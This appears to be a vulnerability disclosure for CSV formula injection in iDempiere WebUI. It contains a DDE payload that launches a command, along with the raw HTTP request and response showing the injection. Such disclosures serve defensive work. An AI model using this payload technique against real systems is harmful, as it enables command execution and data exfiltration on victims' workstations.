📄 iDempiere WebUI 12.0.0.202508171158 CSV Injection

A CSV Injection vulnerability exists in iDempiere WebUI
    v12.0.0.202508171158. The application fails to properly sanitize
    user-supplied input before including it in exported CSV files. An
    authenticated attacker can inject malicious spreadsheet formulas
    (e.g., =cmd|'/C
    notepad'!A1) into fields that are later exported. When the CSV is opened in
    spreadsheet software such as Microsoft Excel or LibreOffice Calc, the
    injected formula is executed. Successful exploitation may allow arbitrary
    command execution on the victim’s workstation, data exfiltration via
    external cell references, or manipulation of the exported spreadsheet
    content.
    
    *Request:*
    
    POST /webui HTTP/2
    
    Host: <host>
    
    -
    
    dtid=******&cmd_0=onInitEdit&data_0=%7B%22value%22%3A%22%3Dcmd%7C'%20%2FC%20notepad'!'A1'%22%7D&cmd_1=onBlur
    --snip--
    
    
    
    *Response:*
    
    HTTP/2 200 OK
    
    -
    
    
    {"rs"--snip--: =cmd|\' /C
    notepad\'!\'A1\'',iconSclass:'z-icon-Window'},{},[]],